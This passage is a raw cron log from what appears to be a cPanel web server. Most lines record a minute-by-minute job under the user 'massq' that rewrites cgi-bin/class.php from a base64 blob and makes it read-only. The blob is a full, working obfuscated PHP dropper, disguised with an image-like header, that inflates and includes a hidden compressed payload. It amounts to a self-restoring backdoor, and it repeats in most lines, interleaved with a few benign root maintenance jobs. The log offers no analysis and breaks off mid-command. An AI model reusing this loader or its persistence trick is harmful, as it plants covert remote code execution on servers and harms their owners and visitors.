Nov 13 15:10:01 server CROND[12734]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 15:11:01 server CROND[13643]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 15:12:02 server CROND[14499]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 15:12:02 server CROND[14500]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 13 15:13:01 server CROND[14885]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 15:14:01 server CROND[15735]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 15:15:01 server CROND[16614]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 15:15:01 server CROND[16615]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 15:15:01 server CROND[16616]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 15:16:01 server CROND[17599]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 15:17:01 server CROND[18448]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 15:18:01 server CROND[19296]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 15:19:01 server CROND[20247]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 15:20:01 server CROND[21107]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 15:20:01 server CROND[21108]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 13 15:20:01 server CROND[21109]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 15:20:01 server CROND[21110]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 15:20:01 server CROND[21116]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 15:21:01 server CROND[22035]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 15:22:01 server CROND[22530]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 15:23:01 server CROND[23135]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo 